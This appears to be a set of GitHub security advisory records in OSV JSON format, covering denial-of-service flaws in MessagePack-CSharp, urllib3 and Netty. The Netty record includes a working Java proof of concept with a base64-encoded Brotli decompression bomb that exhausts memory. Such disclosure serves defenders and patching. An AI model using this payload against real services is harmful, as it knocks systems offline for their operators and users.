  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: Denial of service vulnerabilities can swamp the CPU or crash the process with stack and heap overflows"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "urllib3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.22"
            },
            {
              "fixed": "2.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-21441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-07T19:18:14Z",
    "nvd_published_at": "2026-01-07T22:15:44Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nurllib3\u0027s [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.",
  "id": "GHSA-38jv-5279-wg99",
  "modified": "2026-01-23T16:05:21Z",
  "published": "2026-01-07T19:18:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/urllib3/urllib3"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.125.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T18:00:55Z",
    "nvd_published_at": "2025-09-04T10:42:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
  "id": "GHSA-3p8m-j85q-pgmj",
  "modified": "2025-09-04T13:51:43Z",
  "published": "2025-09-03T18:00:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}